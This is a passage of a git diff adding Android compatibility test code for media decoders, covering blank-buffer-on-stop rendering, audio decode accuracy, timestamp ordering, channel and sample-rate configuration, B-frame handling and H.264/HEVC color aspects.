+        try(ActivityScenario<MediaStubActivity> scenario = ActivityScenario.launch(noTitle)) {
+            final var surface = new AtomicReference<Surface>();
+            scenario.onActivity(activity -> {
+                        surface.set(activity.getSurfaceHolder().getSurface());
+                    });
+
+            // Setup media extraction
+            final AssetFileDescriptor fd = getAssetFileDescriptorFor(testVideo);
+            final var extractor = new MediaExtractor();
+            extractor.setDataSource(fd);
+            fd.close();
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+            Assert.assertTrue("No video track was found", trackIndex >= 0);
+            extractor.selectTrack(trackIndex);
+            // Enable PUSH_BLANK_BUFFERS_ON_STOP
+            format.setInteger(MediaFormat.KEY_PUSH_BLANK_BUFFERS_ON_STOP, 1);
+
+            // Setup video codec
+            final var mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            final String decoderName = mcl.findDecoderForFormat(format);
+            Assume.assumeNotNull(String.format("No decoder for %s", format), format);
+            final MediaCodec decoder = MediaCodec.createByCodecName(decoderName);
+            // Boolean set from the decoding thread to signal that a frame has been decoded
+            final var displayedFrame = new AtomicBoolean(false);
+            // Lock used for thread synchronization
+            final Lock lock = new ReentrantLock();
+            // Condition that signals the decoding thread has made enough progress
+            final Condition processingDone = lock.newCondition();
+            final var cb = new MediaCodec.Callback() {
+                    /** Queue input buffers until one buffer has been decoded. */
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        lock.lock();
+                        try {
+                            // Stop queuing frames once a frame has been displayed
+                            if (displayedFrame.get()) {
+                                return;
+                            }
+                        } finally {
+                            lock.unlock();
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+                        int sampleSize = extractor.readSampleData(inputBuffer,
+                                0 /* offset */);
+                        if (sampleSize < 0) {
+                            codec.queueInputBuffer(index, 0 /* offset */, 0 /* sampleSize */,
+                                    0 /* presentationTimeUs */,
+                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            return;
+                        }
+                        final long presentationTimeMs = System.currentTimeMillis();
+                        codec.queueInputBuffer(index, 0 /* offset */, sampleSize,
+                                presentationTimeMs * 1000, 0 /* flags */);
+                        extractor.advance();
+                    }
+
+                    /** Render the output buffer and signal that the processing is done. */
+                    @Override
+                    public void onOutputBufferAvailable(MediaCodec codec, int index,
+                            MediaCodec.BufferInfo info) {
+                        lock.lock();
+                        try {
+                            // Stop dequeuing frames once a frame has been displayed
+                            if (displayedFrame.get()) {
+                                return;
+                            }
+                        } finally {
+                            lock.unlock();
+                        }
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            return;
+                        }
+                        codec.releaseOutputBuffer(index, true);
+                    }
+
+                    /**
+                     * Check if the error is transient. If it is, ignore it, otherwise signal end of
+                     * processing.
+                     */
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        if (e.isTransient()) {
+                            return;
+                        }
+                        lock.lock();
+                        try {
+                            processingDone.signal();
+                        } finally {
+                            lock.unlock();
+                        }
+                    }
+
+                    /** Ignore format changed events. */
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
+                };
+            final var onFrameRenderedListener = new MediaCodec.OnFrameRenderedListener() {
+                    @Override
+                    public void onFrameRendered(MediaCodec codec, long presentationTimeUs,
+                            long nanoTime) {
+                        lock.lock();
+                        try {
+                            displayedFrame.set(true);
+                            processingDone.signal();
+                        } finally {
+                            lock.unlock();
+                        }
+                    }
+                };
+            decoder.setCallback(cb);
+            decoder.setOnFrameRenderedListener(onFrameRenderedListener, null /* handler */);
+            scenario.onActivity(activity -> activity.hideSystemBars());
+            decoder.configure(format, surface.get(), null /* MediaCrypto */, 0 /* flags */);
+            // Start playback
+            decoder.start();
+            final long startTime = System.currentTimeMillis();
+            // Wait until the codec has decoded a frame, or a timeout.
+            lock.lock();
+            try {
+                long startTimeMs = System.currentTimeMillis();
+                long timeoutMs = 1000;
+                while ((System.currentTimeMillis() < startTimeMs + timeoutMs) &&
+                        !displayedFrame.get()) {
+                    processingDone.await(timeoutMs, TimeUnit.MILLISECONDS);
+                }
+            } finally {
+                lock.unlock();
+            }
+            Assert.assertTrue("Could not render any frame.", displayedFrame.get());
+            final ScreenCapture captureBeforeStop = Screenshot.capture();
+            Assert.assertFalse("Frame is blank before stop.", isUniformlyBlank(
+                            captureBeforeStop.getBitmap()));
+            decoder.stop();
+            final ScreenCapture captureAfterStop = Screenshot.capture();
+            Assert.assertTrue("Frame is not blank after stop.", isUniformlyBlank(
+                            captureAfterStop.getBitmap()));
+            decoder.release();
+            extractor.release();
+        }
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testPushBlankBuffersOnStopVp9() throws Exception {
+        testPushBlankBuffersOnStop(
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testPushBlankBuffersOnStopAvc() throws Exception {
+        testPushBlankBuffersOnStop(
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
new file mode 100644
index 0000000..fee4f04
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -0,0 +1,5000 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static android.media.MediaCodecInfo.CodecProfileLevel.AVCLevel31;
+import static android.media.MediaCodecInfo.CodecProfileLevel.AVCLevel32;
+import static android.media.MediaCodecInfo.CodecProfileLevel.AVCLevel4;
+import static android.media.MediaCodecInfo.CodecProfileLevel.AVCLevel42;
+import static android.media.MediaCodecInfo.CodecProfileLevel.AVCProfileHigh;
+import static android.media.MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel31;
+import static android.media.MediaCodecInfo.CodecProfileLevel.HEVCMainTierLevel41;
+import static android.media.MediaCodecInfo.CodecProfileLevel.HEVCProfileMain;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.ImageFormat;
+import android.hardware.display.DisplayManager;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.CodecState;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaTestBase;
+import android.media.cts.NdkMediaCodec;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.media.cts.SdkMediaCodec;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.Display;
+import android.view.Surface;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.zip.CRC32;
+
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "There should be no instant apps specific behavior related to decoders")
+@RunWith(AndroidJUnit4.class)
+public class DecoderTest extends MediaTestBase {
+    private static final String TAG = "DecoderTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaDecoderTestCases";
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    private static final int RESET_MODE_NONE = 0;
+    private static final int RESET_MODE_RECONFIGURE = 1;
+    private static final int RESET_MODE_FLUSH = 2;
+    private static final int RESET_MODE_EOS_FLUSH = 3;
+
+    private static final String[] CSD_KEYS = new String[] { "csd-0", "csd-1" };
+
+    private static final int CONFIG_MODE_NONE = 0;
+    private static final int CONFIG_MODE_QUEUE = 1;
+
+    private static final int CODEC_ALL = 0; // All codecs must support
+    private static final int CODEC_ANY = 1; // At least one codec must support
+    private static final int CODEC_DEFAULT = 2; // Default codec must support
+    private static final int CODEC_OPTIONAL = 3; // Codec support is optional
+
+    short[] mMasterBuffer;
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    private MediaCodecTunneledPlayer mMediaCodecPlayer;
+    private static final int SLEEP_TIME_MS = 1000;
+    private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(1, TimeUnit.MINUTES);
+
+    private static final String MODULE_NAME = "CtsMediaDecoderTestCases";
+    private DynamicConfigDeviceSide dynamicConfig;
+    private DisplayManager mDisplayManager;
+    static final Map<String, String> sDefaultDecoders = new HashMap<>();
+
+    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+
+        // read primary file into memory
+        AssetFileDescriptor masterFd = getAssetFileDescriptorFor("sinesweepraw.raw");
+        long masterLength = masterFd.getLength();
+        mMasterBuffer = new short[(int) (masterLength / 2)];
+        InputStream is = masterFd.createInputStream();
+        BufferedInputStream bis = new BufferedInputStream(is);
+        for (int i = 0; i < mMasterBuffer.length; i++) {
+            int lo = bis.read();
+            int hi = bis.read();
+            if (hi >= 128) {
+                hi -= 256;
+            }
+            int sample = hi * 256 + lo;
+            mMasterBuffer[i] = (short) sample;
+        }
+        bis.close();
+        masterFd.close();
+
+        dynamicConfig = new DynamicConfigDeviceSide(MODULE_NAME);
+        mDisplayManager = (DisplayManager) mContext.getSystemService(Context.DISPLAY_SERVICE);
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        // ensure MediaCodecPlayer resources are released even if an exception is thrown.
+        if (mMediaCodecPlayer != null) {
+            mMediaCodecPlayer.reset();
+            mMediaCodecPlayer = null;
+        }
+        super.tearDown();
+    }
+
+    static boolean isDefaultCodec(String codecName, String mime) throws IOException {
+        if (sDefaultDecoders.containsKey(mime)) {
+            return sDefaultDecoders.get(mime).equalsIgnoreCase(codecName);
+        }
+        MediaCodec codec = MediaCodec.createDecoderByType(mime);
+        boolean isDefault = codec.getName().equalsIgnoreCase(codecName);
+        sDefaultDecoders.put(mime, codec.getName());
+        codec.release();
+
+        return isDefault;
+    }
+
+    // TODO: add similar tests for other audio and video formats
+    @Test
+    public void testBug11696552() throws Exception {
+        MediaCodec mMediaCodec = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
+        MediaFormat mFormat = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_AAC, 48000 /* frequency */, 2 /* channels */);
+        mFormat.setByteBuffer("csd-0", ByteBuffer.wrap( new byte [] {0x13, 0x10} ));
+        mFormat.setInteger(MediaFormat.KEY_IS_ADTS, 1);
+        mMediaCodec.configure(mFormat, null, null, 0);
+        mMediaCodec.start();
+        int index = mMediaCodec.dequeueInputBuffer(250000);
+        mMediaCodec.queueInputBuffer(index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        mMediaCodec.dequeueOutputBuffer(info, 250000);
+    }
+
+    // The allowed errors in the following tests are the actual maximum measured
+    // errors with the standard decoders, plus 10%.
+    // This should allow for some variation in decoders, while still detecting
+    // phase and delay errors, channel swap, etc.
+    @Test
+    public void testDecodeMp3Lame() throws Exception {
+        decode("sinesweepmp3lame.mp3", 804.f);
+        testTimeStampOrdering("sinesweepmp3lame.mp3");
+    }
+    @Test
+    public void testDecodeMp3Smpb() throws Exception {
+        decode("sinesweepmp3smpb.mp3", 413.f);
+        testTimeStampOrdering("sinesweepmp3smpb.mp3");
+    }
+    @Test
+    public void testDecodeM4a() throws Exception {
+        decode("sinesweepm4a.m4a", 124.f);
+        testTimeStampOrdering("sinesweepm4a.m4a");
+    }
+    @Test
+    public void testDecodeOgg() throws Exception {
+        decode("sinesweepogg.ogg", 168.f);
+        testTimeStampOrdering("sinesweepogg.ogg");
+    }
+    @Test
+    public void testDecodeOggMkv() throws Exception {
+        decode("sinesweepoggmkv.mkv", 168.f);
+        testTimeStampOrdering("sinesweepoggmkv.mkv");
+    }
+    @Test
+    public void testDecodeOggMp4() throws Exception {
+        decode("sinesweepoggmp4.mp4", 168.f);
+        testTimeStampOrdering("sinesweepoggmp4.mp4");
+    }
+    @Test
+    public void testDecodeWav() throws Exception {
+        decode("sinesweepwav.wav", 0.0f);
+        testTimeStampOrdering("sinesweepwav.wav");
+    }
+    @Test
+    public void testDecodeWav24() throws Exception {
+        decode("sinesweepwav24.wav", 0.0f);
+        testTimeStampOrdering("sinesweepwav24.wav");
+    }
+    @Test
+    public void testDecodeFlacMkv() throws Exception {
+        decode("sinesweepflacmkv.mkv", 0.0f);
+        testTimeStampOrdering("sinesweepflacmkv.mkv");
+    }
+    @Test
+    public void testDecodeFlac() throws Exception {
+        decode("sinesweepflac.flac", 0.0f);
+        testTimeStampOrdering("sinesweepflac.flac");
+    }
+    @Test
+    public void testDecodeFlac24() throws Exception {
+        decode("sinesweepflac24.flac", 0.0f);
+        testTimeStampOrdering("sinesweepflac24.flac");
+    }
+    @Test
+    public void testDecodeFlacMp4() throws Exception {
+        decode("sinesweepflacmp4.mp4", 0.0f);
+        testTimeStampOrdering("sinesweepflacmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeMonoMp3() throws Exception {
+        monoTest("monotestmp3.mp3", 44100);
+        testTimeStampOrdering("monotestmp3.mp3");
+    }
+
+    @Test
+    public void testDecodeMonoM4a() throws Exception {
+        monoTest("monotestm4a.m4a", 44100);
+        testTimeStampOrdering("monotestm4a.m4a");
+    }
+
+    @Test
+    public void testDecodeMonoOgg() throws Exception {
+        monoTest("monotestogg.ogg", 44100);
+        testTimeStampOrdering("monotestogg.ogg");
+    }
+    @Test
+    public void testDecodeMonoOggMkv() throws Exception {
+        monoTest("monotestoggmkv.mkv", 44100);
+        testTimeStampOrdering("monotestoggmkv.mkv");
+    }
+    @Test
+    public void testDecodeMonoOggMp4() throws Exception {
+        monoTest("monotestoggmp4.mp4", 44100);
+        testTimeStampOrdering("monotestoggmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeMonoGsm() throws Exception {
+        String fileName = "monotestgsm.wav";
+        Preconditions.assertTestFileExists(mInpPrefix + fileName);
+        if (MediaUtils.hasCodecsForResource(mInpPrefix + fileName)) {
+            monoTest(fileName, 8000);
+            testTimeStampOrdering(fileName);
+        } else {
+            MediaUtils.skipTest("not mandatory");
+        }
+    }
+
+    @Test
+    public void testDecodeAacTs() throws Exception {
+        testTimeStampOrdering("sinesweeptsaac.m4a");
+    }
+
+    @Test
+    public void testDecodeVorbis() throws Exception {
+        testTimeStampOrdering("sinesweepvorbis.mkv");
+    }
+    @Test
+    public void testDecodeVorbisMp4() throws Exception {
+        testTimeStampOrdering("sinesweepvorbismp4.mp4");
+    }
+
+    @Test
+    public void testDecodeOpus() throws Exception {
+        testTimeStampOrdering("sinesweepopus.mkv");
+    }
+    @Test
+    public void testDecodeOpusMp4() throws Exception {
+        testTimeStampOrdering("sinesweepopusmp4.mp4");
+    }
+
+    @CddTest(requirement="5.1.3")
+    @Test
+    public void testDecodeG711ChannelsAndRates() throws Exception {
+        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_G711_ALAW,
+                               MediaFormat.MIMETYPE_AUDIO_G711_MLAW };
+        int[] sampleRates = { 8000 };
+        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+                               AudioFormat.CHANNEL_OUT_STEREO,
+                               AudioFormat.CHANNEL_OUT_5POINT1 };
+
+        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+    }
+
+    @CddTest(requirement="5.1.3")
+    @Test
+    public void testDecodeOpusChannelsAndRates() throws Exception {
+        String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_OPUS };
+        int[] sampleRates = { 8000, 12000, 16000, 24000, 48000 };
+        int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+                               AudioFormat.CHANNEL_OUT_STEREO,
+                               AudioFormat.CHANNEL_OUT_5POINT1 };
+
+        verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+    }
+
+    private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
+                                       int[] channelMasks) throws Exception {
+
+        if (!MediaUtils.check(mIsAtLeastR, "test invalid before Android 11")) return;
+
+        for (String mimetype : mimetypes) {
+            // ensure we find a codec for all listed mime/channel/rate combinations
+            MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+            for (int sampleRate : sampleRates) {
+                for (int channelMask : channelMasks) {
+                    int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
+                    MediaFormat desiredFormat = MediaFormat.createAudioFormat(
+                                mimetype,
+                                sampleRate,
+                                channelCount);
+                    String codecname = mcl.findDecoderForFormat(desiredFormat);
+
+                    assertNotNull("findDecoderForFormat() failed for mime=" + mimetype
+                                    + " sampleRate=" + sampleRate + " channelCount=" + channelCount,
+                            codecname);
+                }
+            }
+
+            // check all mime-matching codecs successfully configure the desired rate/channels
+            ArrayList<MediaCodecInfo> codecInfoList = getDecoderMediaCodecInfoList(mimetype);
+            if (codecInfoList == null) {
+                continue;
+            }
+            for (MediaCodecInfo codecInfo : codecInfoList) {
+                MediaCodec codec = MediaCodec.createByCodecName(codecInfo.getName());
+                for (int sampleRate : sampleRates) {
+                    for (int channelMask : channelMasks) {
+                        int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
+
+                        codec.reset();
+                        MediaFormat desiredFormat = MediaFormat.createAudioFormat(
+                                mimetype,
+                                sampleRate,
+                                channelCount);
+                        codec.configure(desiredFormat, null, null, 0);
+                        codec.start();
+
+                        Log.d(TAG, "codec: " + codecInfo.getName() +
+                                " sample rate: " + sampleRate +
+                                " channelcount:" + channelCount);
+
+                        MediaFormat actual = codec.getInputFormat();
+                        int actualChannels = actual.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1);
+                        int actualSampleRate = actual.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1);
+                        assertTrue("channels: configured " + actualChannels +
+                                   " != desired " + channelCount, actualChannels == channelCount);
+                        assertTrue("sample rate: configured " + actualSampleRate +
+                                   " != desired " + sampleRate, actualSampleRate == sampleRate);
+                    }
+                }
+                codec.release();
+            }
+        }
+    }
+
+    private ArrayList<MediaCodecInfo> getDecoderMediaCodecInfoList(String mimeType) {
+        MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        ArrayList<MediaCodecInfo> decoderInfos = new ArrayList<MediaCodecInfo>();
+        for (MediaCodecInfo codecInfo : mediaCodecList.getCodecInfos()) {
+            if (!codecInfo.isEncoder() && isMimeTypeSupported(codecInfo, mimeType)) {
+                decoderInfos.add(codecInfo);
+            }
+        }
+        return decoderInfos;
+    }
+
+    private boolean isMimeTypeSupported(MediaCodecInfo codecInfo, String mimeType) {
+        for (String type : codecInfo.getSupportedTypes()) {
+            if (type.equalsIgnoreCase(mimeType)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void testDecode51M4a() throws Exception {
+        for (String codecName : codecsFor("sinesweep51m4a.m4a")) {
+            decodeToMemory(codecName, "sinesweep51m4a.m4a", RESET_MODE_NONE, CONFIG_MODE_NONE, -1,
+                    null);
+        }
+    }
+
+    private void testTimeStampOrdering(final String res) throws Exception {
+        for (String codecName : codecsFor(res)) {
+            List<Long> timestamps = new ArrayList<Long>();
+            decodeToMemory(codecName, res, RESET_MODE_NONE, CONFIG_MODE_NONE, -1, timestamps);
+            Long lastTime = Long.MIN_VALUE;
+            for (int i = 0; i < timestamps.size(); i++) {
+                Long thisTime = timestamps.get(i);
+                assertTrue(codecName + ": timetravel occurred: " + lastTime + " > " + thisTime,
+                       thisTime >= lastTime);
+                lastTime = thisTime;
+            }
+        }
+    }
+
+    @Test
+    public void testTrackSelection() throws Exception {
+        testTrackSelection("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
+        testTrackSelection(
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
+        testTrackSelection(
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_dash.mp4");
+    }
+
+    @Test
+    public void testTrackSelectionMkv() throws Exception {
+        Log.d(TAG, "testTrackSelectionMkv!!!!!! ");
+        testTrackSelection("mkv_avc_adpcm_ima.mkv");
+        Log.d(TAG, "mkv_avc_adpcm_ima finished!!!!!! ");
+        testTrackSelection("mkv_avc_adpcm_ms.mkv");
+        Log.d(TAG, "mkv_avc_adpcm_ms finished!!!!!! ");
+        testTrackSelection("mkv_avc_wma.mkv");
+        Log.d(TAG, "mkv_avc_wma finished!!!!!! ");
+        testTrackSelection("mkv_avc_mp2.mkv");
+        Log.d(TAG, "mkv_avc_mp2 finished!!!!!! ");
+    }
+
+    @Test
+    public void testBFrames() throws Exception {
+        int testsRun =
+            testBFrames("video_h264_main_b_frames.mp4") +
+            testBFrames("video_h264_main_b_frames_frag.mp4");
+        if (testsRun == 0) {
+            MediaUtils.skipTest("no codec found");
+        }
+    }
+
+    public int testBFrames(final String res) throws Exception {
+        MediaExtractor ex = new MediaExtractor();
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ex.setDataSource(mInpPrefix + res);
+        MediaFormat format = ex.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not a video track. Wrong test file?", mime.startsWith("video/"));
+        if (!MediaUtils.canDecode(format)) {
+            ex.release();
+            return 0; // skip
+        }
+        MediaCodec dec = MediaCodec.createDecoderByType(mime);
+        Surface s = getActivity().getSurfaceHolder().getSurface();
+        dec.configure(format, s, null, 0);
+        dec.start();
+        ByteBuffer[] buf = dec.getInputBuffers();
+        ex.selectTrack(0);
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        long lastPresentationTimeUsFromExtractor = -1;
+        long lastPresentationTimeUsFromDecoder = -1;
+        boolean inputoutoforder = false;
+        while(true) {
+            int flags = ex.getSampleFlags();
+            long time = ex.getSampleTime();
+            if (time >= 0 && time < lastPresentationTimeUsFromExtractor) {
+                inputoutoforder = true;
+            }
+            lastPresentationTimeUsFromExtractor = time;
+            int bufidx = dec.dequeueInputBuffer(5000);
+            if (bufidx >= 0) {
+                int n = ex.readSampleData(buf[bufidx], 0);
+                if (n < 0) {
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                    time = 0;
+                    n = 0;
+                }
+                dec.queueInputBuffer(bufidx, 0, n, time, flags);
+                ex.advance();
+            }
+            int status = dec.dequeueOutputBuffer(info, 5000);
+            if (status >= 0) {
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    break;
+                }
+                assertTrue("out of order timestamp from decoder",
+                        info.presentationTimeUs > lastPresentationTimeUsFromDecoder);
+                dec.releaseOutputBuffer(status, true);
+                lastPresentationTimeUsFromDecoder = info.presentationTimeUs;
+            }
+        }
+        assertTrue("extractor timestamps were ordered, wrong test file?", inputoutoforder);
+        dec.release();
+        ex.release();
+        return 1;
+      }
+
+    /**
+     * Test ColorAspects of all the AVC decoders. Decoders should handle
+     * the colors aspects presented in both the mp4 atom 'colr' and VUI
+     * in the bitstream correctly. The following table lists the color
+     * aspects contained in the color box and VUI for the test stream.
+     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
+     * empty value.
+     *                                      |     colr     |    VUI
+     * -------------------------------------------------------------------
+     *         File Name                    |  P  T  M  R  |  P  T  M  R
+     * -------------------------------------------------------------------
+     *  color_176x144_bt709_lr_sdr_h264     |  1  1  1  0  |  -  -  -  -
+     *  color_176x144_bt601_625_fr_sdr_h264 |  1  6  6  0  |  5  2  2  1
+     *  color_176x144_bt601_525_lr_sdr_h264 |  6  5  4  0  |  2  6  6  0
+     *  color_176x144_srgb_lr_sdr_h264      |  2  0  2  1  |  1  13 1  0
+     */
+    @Test
+    public void testH264ColorAspects() throws Exception {
+        testColorAspects(
+                "color_176x144_bt709_lr_sdr_h264.mp4", 1 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_625_fr_sdr_h264.mp4", 2 /* testId */,
+                MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_PAL,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_525_lr_sdr_h264.mp4", 3 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_srgb_lr_sdr_h264.mp4", 4 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
+    }
+
+    /**
+     * Test ColorAspects of all the HEVC decoders. Decoders should handle
+     * the colors aspects presented in both the mp4 atom 'colr' and VUI
+     * in the bitstream correctly. The following table lists the color
+     * aspects contained in the color box and VUI for the test stream.
+     * P = primaries, T = transfer, M = coeffs, R = range. '-' means
+     * empty value.
+     *                                      |     colr     |    VUI
+     * -------------------------------------------------------------------
+     *         File Name                    |  P  T  M  R  |  P  T  M  R
+     * -------------------------------------------------------------------
+     *  color_176x144_bt709_lr_sdr_h265     |  1  1  1  0  |  -  -  -  -
+     *  color_176x144_bt601_625_fr_sdr_h265 |  1  6  6  0  |  5  2  2  1
+     *  color_176x144_bt601_525_lr_sdr_h265 |  6  5  4  0  |  2  6  6  0
+     *  color_176x144_srgb_lr_sdr_h265      |  2  0  2  1  |  1  13 1  0
+     */
+    @Test
+    public void testH265ColorAspects() throws Exception {
+        testColorAspects(
+                "color_176x144_bt709_lr_sdr_h265.mp4", 1 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_625_fr_sdr_h265.mp4", 2 /* testId */,
+                MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_PAL,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_bt601_525_lr_sdr_h265.mp4", 3 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+        testColorAspects(
+                "color_176x144_srgb_lr_sdr_h265.mp4", 4 /* testId */,
+                MediaFormat.COLOR_RANGE_LIMITED, MediaFormat.COLOR_STANDARD_BT709,
+                2 /* MediaFormat.COLOR_TRANSFER_SRGB */);
+        // Test the main10 streams with surface as the decoder might
+        // support opaque buffers only.
+        testColorAspects(
